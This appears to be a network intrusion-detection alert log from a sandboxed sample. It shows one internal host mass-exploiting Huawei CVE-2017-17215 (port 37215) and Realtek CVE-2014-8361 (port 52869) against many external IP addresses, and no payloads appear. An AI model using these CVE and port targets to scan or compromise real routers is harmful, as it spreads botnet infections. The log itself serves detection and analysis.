Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.138.137.217

Timestamp:	07/20/24-23:00:57.221790
SID:	2835222
Source Port:	56808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.230.247.23

Timestamp:	07/20/24-23:01:52.001138
SID:	2027339
Source Port:	41364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.25.193.130

Timestamp:	07/20/24-23:00:57.223887
SID:	2829579
Source Port:	55928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.48.126.38

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	47636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.48.176.220

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	52602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.128.56.168

Timestamp:	07/20/24-23:01:51.047414
SID:	2831300
Source Port:	43172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.23.48.212

Timestamp:	07/20/24-23:02:08.781934
SID:	2027339
Source Port:	45326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.153.21

Timestamp:	07/20/24-23:01:31.975513
SID:	2829579
Source Port:	40206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.27.106.147

Timestamp:	07/20/24-23:01:34.071062
SID:	2835222
Source Port:	55056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.25.231.52

Timestamp:	07/20/24-23:01:57.949070
SID:	2027339
Source Port:	57400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.31.223.242

Timestamp:	07/20/24-23:01:04.996043
SID:	2025132
Source Port:	52076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.186.32.47

Timestamp:	07/20/24-23:01:41.370228
SID:	2027339
Source Port:	45868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.210.186.227

Timestamp:	07/20/24-23:00:57.221365
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.138.84.14

Timestamp:	07/20/24-23:01:44.124551
SID:	2025132
Source Port:	56988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.65.172.105

Timestamp:	07/20/24-23:01:41.322613
SID:	2025132
Source Port:	38218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.20.148.220

Timestamp:	07/20/24-23:02:08.084136
SID:	2025132
Source Port:	57298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.82.140.27

Timestamp:	07/20/24-23:01:53.560520
SID:	2831300
Source Port:	43648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.22.220.245

Timestamp:	07/20/24-23:01:58.035425
SID:	2025132
Source Port:	59144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.0.98.90

Timestamp:	07/20/24-23:01:08.639622
SID:	2831300
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.124.10.6

Timestamp:	07/20/24-23:02:08.291319
SID:	2831300
Source Port:	44488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.108.103.192

Timestamp:	07/20/24-23:01:02.486908
SID:	2027339
Source Port:	37328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.156.176.6

Timestamp:	07/20/24-23:01:27.666100
SID:	2835222
Source Port:	52076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.86.102.204

Timestamp:	07/20/24-23:01:44.663524
SID:	2831300
Source Port:	56232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.152.95.200

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	49684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.51.1.150

Timestamp:	07/20/24-23:01:42.706162
SID:	2027339
Source Port:	36246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.1.176.48

Timestamp:	07/20/24-23:01:43.282556
SID:	2027339
Source Port:	57398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.231.201.227

Timestamp:	07/20/24-23:02:14.728323
SID:	2025132
Source Port:	48490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.243.184

Timestamp:	07/20/24-23:01:00.633744
SID:	2829579
Source Port:	34962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.103.165

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	40494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.6.211.62

Timestamp:	07/20/24-23:01:53.041672
SID:	2025132
Source Port:	39352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.181.85

Timestamp:	07/20/24-23:01:27.650037
SID:	2835222
Source Port:	48746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.71.17.129

Timestamp:	07/20/24-23:01:27.650643
SID:	2835222
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.221.97.172

Timestamp:	07/20/24-23:01:51.879276
SID:	2027339
Source Port:	48450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.246.229.175

Timestamp:	07/20/24-23:01:52.006906
SID:	2831300
Source Port:	50982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.135.178.135

Timestamp:	07/20/24-23:02:13.454278
SID:	2027339
Source Port:	53486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.56.196.147

Timestamp:	07/20/24-23:01:20.593640
SID:	2027339
Source Port:	57606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.128.21.230

Timestamp:	07/20/24-23:01:45.182071
SID:	2027339
Source Port:	41506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.54.139.100

Timestamp:	07/20/24-23:01:43.199406
SID:	2025132
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.75.166.170

Timestamp:	07/20/24-23:01:44.054567
SID:	2831300
Source Port:	53286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.58.117

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	59874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.114.93.203

Timestamp:	07/20/24-23:01:34.046616
SID:	2835222
Source Port:	53134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.15.34.17

Timestamp:	07/20/24-23:01:43.905912
SID:	2025132
Source Port:	36034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.124.248

Timestamp:	07/20/24-23:01:03.235405
SID:	2027339
Source Port:	58548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.86.139.164

Timestamp:	07/20/24-23:01:03.242934
SID:	2025132
Source Port:	46470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.218.79.196

Timestamp:	07/20/24-23:01:43.165438
SID:	2025132
Source Port:	51560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.46.6.6

Timestamp:	07/20/24-23:02:53.715694
SID:	2027339
Source Port:	50214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.163.230.218

Timestamp:	07/20/24-23:01:44.859405
SID:	2027339
Source Port:	55328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.5.127

Timestamp:	07/20/24-23:01:44.142024
SID:	2027339
Source Port:	58070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.170.33.89

Timestamp:	07/20/24-23:01:02.320024
SID:	2025132
Source Port:	57946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.93.41.17

Timestamp:	07/20/24-23:02:07.942303
SID:	2027339
Source Port:	48530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.80.210.12

Timestamp:	07/20/24-23:01:08.555687
SID:	2831300
Source Port:	47658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.26.26.188

Timestamp:	07/20/24-23:01:43.994464
SID:	2027339
Source Port:	39712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 119.175.95.208

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	41624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.254.60.151

Timestamp:	07/20/24-23:01:50.863888
SID:	2027339
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.48.65.201

Timestamp:	07/20/24-23:01:44.052569
SID:	2831300
Source Port:	35926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.24.154.203

Timestamp:	07/20/24-23:01:44.945909
SID:	2027339
Source Port:	38854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.195.227.25

Timestamp:	07/20/24-23:01:47.359862
SID:	2027339
Source Port:	36196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.182.11.252

Timestamp:	07/20/24-23:01:02.729047
SID:	2025132
Source Port:	49722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.103.167.31

Timestamp:	07/20/24-23:01:13.994729
SID:	2027339
Source Port:	50988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.5.145.232

Timestamp:	07/20/24-23:01:42.485253
SID:	2027339
Source Port:	54546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.215.81.142

Timestamp:	07/20/24-23:01:08.555688
SID:	2831300
Source Port:	59662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.148.4

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	51692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.121.181.216

Timestamp:	07/20/24-23:01:45.214052
SID:	2027339
Source Port:	49210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.142.123.85

Timestamp:	07/20/24-23:01:26.719998
SID:	2025132
Source Port:	56050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.74.174.143

Timestamp:	07/20/24-23:01:01.897212
SID:	2025132
Source Port:	53882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.245.92.167

Timestamp:	07/20/24-23:01:41.228794
SID:	2025132
Source Port:	33084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.150.226.120

Timestamp:	07/20/24-23:01:53.132473
SID:	2027339
Source Port:	42802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.190.176

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	49198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.29.32.245

Timestamp:	07/20/24-23:01:49.537827
SID:	2025132
Source Port:	59110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.114.226.119

Timestamp:	07/20/24-23:01:11.817297
SID:	2835222
Source Port:	43468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.83.225.175

Timestamp:	07/20/24-23:02:00.113044
SID:	2027339
Source Port:	47818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.129.190.37

Timestamp:	07/20/24-23:01:07.062666
SID:	2835222
Source Port:	38446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.215.198.66

Timestamp:	07/20/24-23:01:43.874054
SID:	2831300
Source Port:	35300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.77.1.115

Timestamp:	07/20/24-23:01:44.175702
SID:	2831300
Source Port:	57266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.21.217.254

Timestamp:	07/20/24-23:01:51.400635
SID:	2027339
Source Port:	35330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.122.130.75

Timestamp:	07/20/24-23:01:43.567356
SID:	2027339
Source Port:	39516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.255.100.151

Timestamp:	07/20/24-23:01:13.157651
SID:	2025132
Source Port:	43672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.178.208

Timestamp:	07/20/24-23:01:07.114267
SID:	2835222
Source Port:	55126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.18.150.91

Timestamp:	07/20/24-23:01:42.062724
SID:	2831300
Source Port:	59740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.28.87.249

Timestamp:	07/20/24-23:01:31.975513
SID:	2829579
Source Port:	37012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.68.27

Timestamp:	07/20/24-23:01:34.043863
SID:	2829579
Source Port:	36224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.176.94.191

Timestamp:	07/20/24-23:01:41.290518
SID:	2027339
Source Port:	39402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.93.47.50

Timestamp:	07/20/24-23:02:01.645032
SID:	2025132
Source Port:	33712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.5.145.192

Timestamp:	07/20/24-23:01:50.807258
SID:	2027339
Source Port:	32990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.133.189.92

Timestamp:	07/20/24-23:01:55.423260
SID:	2027339
Source Port:	32990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.14.54.254

Timestamp:	07/20/24-23:01:27.650870
SID:	2829579
Source Port:	53870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.200.167.6

Timestamp:	07/20/24-23:01:57.313050
SID:	2025132
Source Port:	52776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.215.93.59

Timestamp:	07/20/24-23:02:11.630112
SID:	2027339
Source Port:	37112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.17.25.163

Timestamp:	07/20/24-23:01:26.607132
SID:	2025132
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.223.49.101

Timestamp:	07/20/24-23:01:47.275716
SID:	2831300
Source Port:	54548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.53.123.92

Timestamp:	07/20/24-23:01:05.049337
SID:	2025132
Source Port:	56952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.91.74

Timestamp:	07/20/24-23:01:31.982801
SID:	2835222
Source Port:	46168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 69.74.218.35

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	36788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:52.582295
SID:	2831300
Source Port:	37508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.12.166.177

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	41434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.142.88.137

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	52986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.226.47.144

Timestamp:	07/20/24-23:02:01.357047
SID:	2025132
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.43.82.157

Timestamp:	07/20/24-23:02:04.091867
SID:	2025132
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.72.81.243

Timestamp:	07/20/24-23:01:57.082339
SID:	2027339
Source Port:	36074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

